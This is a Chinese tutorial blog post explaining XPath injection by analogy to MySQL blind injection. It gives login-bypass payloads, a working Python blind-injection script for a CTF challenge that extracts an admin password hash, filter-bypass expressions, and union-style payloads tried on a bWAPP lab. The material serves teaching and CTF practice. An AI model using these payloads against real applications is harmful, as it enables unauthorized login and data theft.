zl程序教程

您现在的位置是:首页 >  数据库

当前栏目

从MySQL注入到XPath注入

mysql注入 xpath
2023-06-13 09:14:15 时间

Author: 颖奇L’Amore

Blog: www.gem-love.com


0x00 XPath基础知识

这个部分只是单纯铺垫XPath基础知识,不涉及注入,了解XPath可以跳过

这里直接引用w3school的XPath教程中的案例,因为里面给了好多示例,基本一看就懂的那种。

XPath是什么?

XPath是用来从XML文档中进行查找信息的语言。

XPath节点(Node)

XPath中有7种类型的节点:元素、属性、文本、命名空间、处理指令、注释以及文档(根)节点

这个没有太大了解的必要,知道节点这个名词就够了,不需要分的特别细致。

选取节点

后面都以这个xml文档为例

<span class="hljs-meta">&lt;?xml version="1.0" encoding="ISO-8859-1"?&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">bookstore</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">book</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">title</span> <span class="hljs-attr">lang</span>=<span class="hljs-string">"eng"</span>&gt;</span>Harry Potter<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">price</span>&gt;</span>29.99<span class="hljs-tag">&lt;/<span class="hljs-name">price</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">book</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">book</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">title</span> <span class="hljs-attr">lang</span>=<span class="hljs-string">"eng"</span>&gt;</span>Learning XML<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">price</span>&gt;</span>39.95<span class="hljs-tag">&lt;/<span class="hljs-name">price</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">book</span>&gt;</span>

<span class="hljs-tag">&lt;/<span class="hljs-name">bookstore</span>&gt;</span>

选取节点的表达式:

示例:

为选取节点添加限制条件——谓语

谓语的语法是写在方括号里,是用来为选取节点添加特定条件的。

示例:

选取未知节点

在不知道节点名称时,可以使用通配符来范范的匹配节点

示例:

多路径的选取

可以使用|来选取多个路径,有点相当于sql中的union

示例:

XPath运算符

0x01 从MySQL盲注开始

一文搞定MySQL盲注一文中,我介绍了做盲注的两个基本问题:

  1. 字符串的截取
  2. 比较

然后是做盲注的流程,首先我们需要构造SQL语句,找到一个condition,这个condition是一个布尔表达式,他能够影响着这个语句的结果,例如:

?id = 1' and 1=1 %23
?id = 1' and 1=2 %23

在上面这个例子中,1=11=2就是一个布尔表达式,并且他们的真假直接影响着SQL语句的查询结果、进而直接影响着页面的回显或者延时与否等(具体取决于什么类型的盲注)。这个时候我们只需要把这个布尔表达式换成由字符串截取和比较所组成的新的布尔表达式,即可开始注入,例如:

?id = 1' and ascii(substr((select database()),1,1)) = 97 %23
?id = 1' and ascii(substr((select database()),1,1)) = 98 %23
以此类推...

这样就ok了!

0x02 MySQL转向XPath

在MySQL中我们一般遇到的SQL注入都是对select查询语句的where子句做注入,也就是说注入进去的是where的一部分,而where刚好是对select的查询增加限制条件的,所以我们才能给到布尔表达式然后通过这个布尔表达式影响where子句进而影响整个select的查询结果。

由此可见,想要做盲注,我们需要控制的是查询语句的“限制”部分。

而XPath中,对查询做限制的正是谓语,那么注入位点就也是需要在谓语处进行注入。当然这个不用自己考虑和构造,因为CTF题中如果是出XPath盲注这个知识点,用户的输入基本就是在谓语中的。

XPath盲注一般涉及这样的题型:

  1. 登录的验证,用类似sql的or 1=1万能密码登录
  2. 有回显的查询,查出未知节点的信息。
  3. XPath盲注

插播一个好消息是,因为XPath的语法支持的东西有限(比SQL的特性、函数、灵活性都少得多),意味着它操作起来会很简单,流程都很固定,并且也不会存在着太多的变形。

0x03 XPath中的万能密码

SQL的万能密码的原理是,用or '1'='1'之类的构造一个永真式让select查询出东西来。 XPath中也是这样的原理,首先准备xml文档:

<span class="hljs-tag">&lt;<span class="hljs-name">account</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">user</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">username</span>&gt;</span>guest1<span class="hljs-tag">&lt;/<span class="hljs-name">username</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">password</span>&gt;</span>123456<span class="hljs-tag">&lt;/<span class="hljs-name">password</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">role</span>&gt;</span>guest<span class="hljs-tag">&lt;/<span class="hljs-name">role</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">user</span>&gt;</span>
    
    <span class="hljs-tag">&lt;<span class="hljs-name">user</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">username</span>&gt;</span>guest2<span class="hljs-tag">&lt;/<span class="hljs-name">username</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">password</span>&gt;</span>123456<span class="hljs-tag">&lt;/<span class="hljs-name">password</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">role</span>&gt;</span>guest<span class="hljs-tag">&lt;/<span class="hljs-name">role</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">user</span>&gt;</span>

    <span class="hljs-tag">&lt;<span class="hljs-name">user</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">username</span>&gt;</span>Y1ng<span class="hljs-tag">&lt;/<span class="hljs-name">username</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">password</span>&gt;</span><a class="__yjs_email__" href="https://www.gem-love.com/cdn-cgi/l/email-protection" data-yjsemail="fbabbb88888ccb899fcac9c8">[email&nbsp;protected]</a><script data-yjshash="f9e31" type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-yjshash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-yjsemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script><span class="hljs-tag">&lt;/<span class="hljs-name">password</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">role</span>&gt;</span>admin<span class="hljs-tag">&lt;/<span class="hljs-name">role</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">user</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">account</span>&gt;</span>

然后写一个xml的查询:

<span class="hljs-comment">#!/usr/bin/env python3</span>
<span class="hljs-comment">#-*- coding:utf-8 -*-</span>
<span class="hljs-comment">#__author__: 颖奇L'Amore www.gem-love.com</span>

<span class="hljs-keyword">from</span> lxml <span class="hljs-keyword">import</span> etree

doc = <span class="hljs-string">'''</span>
<span class="hljs-string">&lt;account&gt;</span>
<span class="hljs-string">    &lt;user&gt;</span>
<span class="hljs-string">        &lt;username&gt;guest1&lt;/username&gt;</span>
<span class="hljs-string">        &lt;password&gt;123456&lt;/password&gt;</span>
<span class="hljs-string">        &lt;role&gt;guest&lt;/role&gt;</span>
<span class="hljs-string">    &lt;/user&gt;</span>
<span class="hljs-string">    </span>
<span class="hljs-string">    &lt;user&gt;</span>
<span class="hljs-string">        &lt;username&gt;guest2&lt;/username&gt;</span>
<span class="hljs-string">        &lt;password&gt;123456&lt;/password&gt;</span>
<span class="hljs-string">        &lt;role&gt;guest&lt;/role&gt;</span>
<span class="hljs-string">    &lt;/user&gt;</span>
<span class="hljs-string"></span>
<span class="hljs-string">    &lt;user&gt;</span>
<span class="hljs-string">        &lt;username&gt;Y1ng&lt;/username&gt;</span>
<span class="hljs-string">        &lt;password&gt;<a class="__yjs_email__" href="https://www.gem-love.com/cdn-cgi/l/email-protection" data-yjsemail="d98999aaaaaee9abbde8ebea">[email&nbsp;protected]</a><script data-yjshash="f9e31" type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-yjshash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-yjsemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>&lt;/password&gt;</span>
<span class="hljs-string">        &lt;role&gt;admin&lt;/role&gt;</span>
<span class="hljs-string">    &lt;/user&gt;</span>
<span class="hljs-string">&lt;/account&gt;</span>
<span class="hljs-string">'''</span>

xml = etree.XML(doc)

<span class="hljs-comment"># 模拟用户输入username 和 password</span>
username = <span class="hljs-string">"' or '1'='1"</span>
password = <span class="hljs-string">"123"</span>

<span class="hljs-built_in">print</span>(xml.xpath(<span class="hljs-string">f"/account/user[username='<span class="hljs-subst">{username}</span>' and password='<span class="hljs-subst">{password}</span>']"</span>))

在这个例子中 我们模拟username为' or '1'='1,密码随便输的,则xpath为:

/account/user[username='' or '1'='1' and password='123']

明明注入了or '1' = '1' 却依然没有查询成功,此时我们尝试将username和password互换,查询成功了:

这个原因是,谓语中的表达式相当于是三个布尔式由orand进行连接,而andor是有优先级关系的。

在第一种写法中,谓语username='' or '1'='1' and password='123'false or true and false,由于优先级not>and>or,后面的and先运行返回假,然后假或假返回假。SQL中也是这样的:

第二种写法中,谓语username='123' and password='' or '1'='1'false and false or true,从前往后运算,最后返回真,查询成功。

所以在XPath的注入中(SQL也如此),如果万能密码写在后面password处就' or '1' = '1就行了。写在前面的username则需要' or '1'='1' or '1'='1(即两个or真)才可以

那么为什么SQL中很少有人意识到这一点呢?一方面这个知识点太过简单接触的少,另一方面SQL中是可以用#或者-- 做单行注释的,很多人在username中直接写个' or 1=1 #把后面的and就注释掉了自然就不存在这种问题了,而XPath没有注释符,所有的内容都得连在一起,才导致了这个问题被凸显了出来。

0x04 XPath盲注

XPath盲注思路

从SQL盲注过渡到XPath盲注还是比较简单的,就是找condition然后换成截取和比较的表达式即可。对于SQL注入时查库名、表名、列名、数据,而XPath则是看有哪些节点,节点下有哪些子节点,子节点下又有哪些子节点,把文档结构先找清楚,然后注出里面的数据。

在注入时候,一般用count()可以判断子节点个数,然后name()取到节点名称,再substring()截取=比较则可以按位注出来。

从题目中学习

以[NPUCTF2020]ezlogin题目为例,exp脚本:

<span class="hljs-comment">#!/usr/bin/env python3</span>
<span class="hljs-comment">#-*- coding:utf-8 -*-</span>
<span class="hljs-comment">#__author__: 颖奇L'Amore www.gem-love.com</span>

<span class="hljs-keyword">import</span> string
<span class="hljs-keyword">import</span> requests 
<span class="hljs-keyword">import</span> re 
<span class="hljs-keyword">import</span> time 


<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">post</span>(<span class="hljs-params">username, password=<span class="hljs-string">'x'</span></span>):</span>  <span class="hljs-comment"># sourcery skip: use-fstring-for-concatenation</span>
    s = requests.session() 
    url = <span class="hljs-string">'http://b16cdf63-8f8d-42cb-af60-00c6fb44843c.node4.buuoj.cn:81/'</span>
    burp0_headers = {<span class="hljs-string">"User-Agent"</span>: <span class="hljs-string">"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:99.0) Gecko/20100101 Firefox/99.0"</span>, <span class="hljs-string">"Accept"</span>: <span class="hljs-string">"*/*"</span>, <span class="hljs-string">"Accept-Language"</span>: <span class="hljs-string">"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2"</span>, <span class="hljs-string">"Accept-Encoding"</span>: <span class="hljs-string">"gzip, deflate"</span>, <span class="hljs-string">"Content-Type"</span>: <span class="hljs-string">"application/xml"</span>, <span class="hljs-string">"X-Requested-With"</span>: <span class="hljs-string">"XMLHttpRequest"</span>, <span class="hljs-string">"Origin"</span>: <span class="hljs-string">"http://b16cdf63-8f8d-42cb-af60-00c6fb44843c.node4.buuoj.cn:81"</span>, <span class="hljs-string">"Connection"</span>: <span class="hljs-string">"close"</span>, <span class="hljs-string">"Referer"</span>: <span class="hljs-string">"http://b16cdf63-8f8d-42cb-af60-00c6fb44843c.node4.buuoj.cn:81/"</span>}
    
    <span class="hljs-comment"># 获取token</span>
    r = s.get(url)
    token = re.findall(<span class="hljs-string">'id="token" value="(.*?)"'</span>, r.text)[<span class="hljs-number">0</span>]
    
    <span class="hljs-comment"># 登录</span>
    data = <span class="hljs-string">f"&lt;username&gt;<span class="hljs-subst">{username}</span>&lt;/username&gt;&lt;password&gt;<span class="hljs-subst">{password}</span>&lt;/password&gt;&lt;token&gt;<span class="hljs-subst">{token}</span>&lt;/token&gt;"</span>
    <span class="hljs-keyword">return</span>  s.post(url=url+<span class="hljs-string">'/login.php'</span>, data=data, headers=burp0_headers).text
    

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">name_injection</span>(<span class="hljs-params">payload</span>):</span>
    result = <span class="hljs-string">''</span>
    <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">1</span>, <span class="hljs-number">100</span>):
        <span class="hljs-keyword">for</span> j <span class="hljs-keyword">in</span> string.ascii_letters + string.digits:
            <span class="hljs-built_in">print</span>(<span class="hljs-string">f"[*] TRYING: <span class="hljs-subst">{payload % ( <span class="hljs-built_in">str</span>(_), j)}</span>"</span>)
            <span class="hljs-keyword">if</span> <span class="hljs-string">"非法"</span> <span class="hljs-keyword">in</span> post(payload % ( <span class="hljs-built_in">str</span>(_), j),<span class="hljs-string">'xxx'</span>):
                result += j
                <span class="hljs-built_in">print</span>(<span class="hljs-string">"[+] 注入成功"</span>, result)
                <span class="hljs-keyword">break</span>
            time.sleep(<span class="hljs-number">0.5</span>)
            <span class="hljs-keyword">if</span> j == string.digits[-<span class="hljs-number">1</span>]:
                <span class="hljs-built_in">print</span>(<span class="hljs-string">"[*] 注入完成"</span>)
                <span class="hljs-keyword">return</span> result
    <span class="hljs-keyword">return</span> result


<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">count_injection</span>(<span class="hljs-params">payload</span>):</span>
    result = <span class="hljs-number">0</span>
    <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">100</span>):
        <span class="hljs-built_in">print</span>(<span class="hljs-string">f"[*] TRYING: <span class="hljs-subst">{payload % _}</span>"</span>)
        <span class="hljs-keyword">if</span> <span class="hljs-string">"非法"</span> <span class="hljs-keyword">in</span> post(payload % _ ,<span class="hljs-string">'xxx'</span>):
            result = _
            <span class="hljs-built_in">print</span>(<span class="hljs-string">"[+] 注入成功 count"</span>, result)
            <span class="hljs-keyword">break</span>
        time.sleep(<span class="hljs-number">0.5</span>)
    <span class="hljs-keyword">return</span> result

<span class="hljs-comment"># sourcery skip: for-index-underscore</span>
<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">'__main__'</span>:
    <span class="hljs-string">'''文档节点'''</span>
    count = count_injection(payload = <span class="hljs-string">"'or count(/*)=%d or ''='"</span>) <span class="hljs-comment"># 文档节点数量为1  </span>
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">1</span>, count+<span class="hljs-number">1</span>):
        name_injection(payload = <span class="hljs-string">f"'or substring(name(/*[<span class="hljs-subst">{i}</span>]), %s, 1)='%s'  or ''='"</span>) <span class="hljs-comment"># 文档节点为root</span>

上面的函数基本都是题目注入交互的内容,主要看if __name__ == '__main__'下面的payload即可。上面的脚本中,注出了根节点叫root

接着就是一层一层的找子节点,子节点有几个、叫什么,然后继续找子节点的子节点:

<span class="hljs-string">'''root的子节点'''</span>
count = count_injection(payload = <span class="hljs-string">"'or count(/root/*)=%d or ''='"</span>) <span class="hljs-comment"># root子节点数量为1</span>
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">1</span>, count+<span class="hljs-number">1</span>):
    name_injection(payload = <span class="hljs-string">f"'or substring(name(/root/*[<span class="hljs-subst">{i}</span>]), %c, 1)='%c'  or ''='"</span>) <span class="hljs-comment"># root下子节点为accounts</span>

<span class="hljs-string">'''/root/accounts下子节点'''</span>
count = count_injection(payload = <span class="hljs-string">"'or count(/root/accounts/*)=%d or ''='"</span>) <span class="hljs-comment"># accounts子节点数量为2</span>
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">1</span>, count+<span class="hljs-number">1</span>):
    name_injection(payload = <span class="hljs-string">f"'or substring(name(/root/accounts/*[<span class="hljs-subst">{i}</span>]), %c, 1)='%c'  or ''='"</span>) <span class="hljs-comment"># accounts下2个子节点均为 user</span>

<span class="hljs-string">'''/root/accounts/user[1]'''</span>
count = count_injection(payload = <span class="hljs-string">"'or count(/root/accounts/user[1]/*)=%d or ''='"</span>) <span class="hljs-comment"># /root/accounts/user[1]子节点数量为3</span>
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">1</span>, count+<span class="hljs-number">1</span>):
    name_injection(payload = <span class="hljs-string">f"'or substring(name(/root/accounts/user[1]/*[<span class="hljs-subst">{i}</span>]), %c, 1)='%c'  or ''='"</span>) <span class="hljs-comment"># 子节点有id username password</span>


<span class="hljs-string">'''/root/accounts/user[2]'''</span>
count = count_injection(payload = <span class="hljs-string">"'or count(/root/accounts/user[1]/*)=%d or ''='"</span>) <span class="hljs-comment"># /root/accounts/user[2]子节点数量为3</span>
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">1</span>, count+<span class="hljs-number">1</span>):
    name_injection(payload = <span class="hljs-string">f"'or substring(name(/root/accounts/user[1]/*[<span class="hljs-subst">{i}</span>]), %c, 1)='%c'  or ''='"</span>) <span class="hljs-comment"># 子节点有id username password</span>

<span class="hljs-string">'''/root/accounts/user[1]/username'''</span>
count = count_injection(payload = <span class="hljs-string">"'or count(/root/accounts/user[1]/username/*)=%d or ''='"</span>) <span class="hljs-comment"># /root/accounts/user[2]/username没有子节点了 则说明id username password为最内层元素</span>
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">1</span>, count+<span class="hljs-number">1</span>):
    name_injection(payload =<span class="hljs-string">f"'or substring(name(/root/accounts/user[1]/username/*[<span class="hljs-subst">{i}</span>]), %c, 1)='%c'  or ''='"</span>) 

注到最后username和password发现子节点count为0了,就说明已经注到了文档的最内层,接着就可以注数据了,可以使用text()函数取出数据

<span class="hljs-string">'''注数据 /root/accounts/user[1]/username /root/accounts/user[2]/username /root/accounts/user[2]/password'''</span>
name_injection(payload=<span class="hljs-string">"'or substring(/root/accounts/user[1]/username/text(), %c, 1)='%c'  or ''='"</span>) <span class="hljs-comment"># guest</span>
name_injection(payload=<span class="hljs-string">"'or substring(/root/accounts/user[2]/username/text(), %c, 1)='%c'  or ''='"</span>) <span class="hljs-comment"># adm1n</span>
name_injection(payload=<span class="hljs-string">"'or substring(/root/accounts/user[2]/password/text(), %c, 1)='%c'  or ''='"</span>) <span class="hljs-comment"># cf7414b5bdb2e65ee43083f4ddbc4d9f </span>

总结

  1. count()查看节点个数,注子节点名字,如此循环,则可以吧整个xml文档结构全部理清楚
  2. 使用name()取节点名称,使用substring()可以做截取,使用text()取数据

绕过

通用的盲注都会用到substring()这样的高危函数,如果这个函数被ban了呢?

可以使用starts-with()进行绕过:

利用这个函数,就可以按位从前往后进行注入了,例如在password注入数据:

这样的表达式都是可以返回True的:

' or starts-with(name(/*[1]),'a') and '1'='1
' or starts-with(name(/*[1]),'ac') and '1'='1
' or starts-with(name(/*[1]),'acc') and '1'='1
' or starts-with(name(/*[1]),'acco') and '1'='1
' or starts-with(name(/*[1]),'accou') and '1'='1

这里后面加上了一个and '1'='1 是因为starts-with()返回的是true和false,而XPath中的true不等于字符串'1',所以为了最后面的单引号还能跟上一个字符串,我们后面跟了一个and '1'='1

同理也可以使用ends-with()函数,就是从后往前的按位注入数据。

0x05 XPath有回显的注入

一般的XPath有回显注入就相当于是mysql中的union注入,对于mysql的union联合查询注入一般是这样的场景和做法:

  1. 输入的参数作为where子句的部分,作为查询的条件,输出查询结果
  2. 使用union拼接进去一个新的select查询,通过查看新的查询的结果来获得想要的内容。

XPath和它差不多,也是要注入进去一个查询,这时就可以使用|来进行多路径选择。但是我们输入的参数是一个查询条件(在谓语中),所以要先从谓语中逃逸出来,谓语就是中括号。

假设用户输入的参数是id,那么一般的查询大概是这两种情况({id}表示用户输入的id参数):

/account/user[id='{id}']/username
/account/user[contains(id, '{id}')]/username

上述两种情况中,等号就是直接匹配,而contains()判断时候包含的意思,有点类似于SQL的LIKE是个范范的匹配。

那么在注入中,我们只需要先闭合谓语,然后|注入进去新的节点路径,然后再把后面的中括号闭合了就行了,大概payload长这样:

'] | //* | //*[''='
')] | //* | //*[('

上面给到的场景和bwapp中的环境差不多,所以我们直接以bwapp为例来实操一下,起个bwapp的docker:

docker run -it --rm -d -p 2333:80 raesene/bwapp

要访问/install.php?install=yes安装一下。然后进入XML/XPath Injection (search)

测试发现,就是通过genre参数做的筛选

直接把上面给到的两个通用payload打过去,第二个生效,并且返回了所有信息(因为//*表示文档任意位置的任意元素节点),注入完成!

实际操作中可能不会这么顺利直接注入出所有东西,但格式基本上是八九不离十的,所以只需要一点点把信息注出来即可。